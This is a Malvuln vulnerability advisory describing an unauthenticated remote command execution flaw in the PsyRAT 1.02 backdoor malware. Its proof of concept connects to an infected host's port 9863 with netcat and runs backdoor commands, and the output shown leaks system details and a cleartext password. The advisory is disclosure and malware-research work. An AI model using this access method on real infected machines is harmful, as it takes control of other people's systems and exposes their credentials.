Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.PsyRat.b Vulnerability: Unauthenticated Remote Command Execution Description: The PsyRAT 1.02 malware listens by default on TCP port 9863, but can be changed when building backdoor servers. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. The backdoors cpuinfo command will leak system details including cleartext password. Type: PE32 MD5: 5817183894cb513239f6aef28895130c Vuln ID: MVID-2021-0306 Dropped files: server.exe Disclosure: 07/26/2021 Exploit/PoC: nc64.exe x.x.x.x 9863 PASS BADPWD Invalid command whatami you are a loser whatismyip 192.168.18.130 cpuinfo Windows Version: |System Directory: C:\WINDOWS\system32|Computer Name: DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type: GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port: 192.168.18.130:9863|Password: abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL: http://yourdomain.com/log.php Invalid command. version PsyRAT 0.01 BETA getdrives C:\ - Fixed Drive^D:\ - CD-ROM^ Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).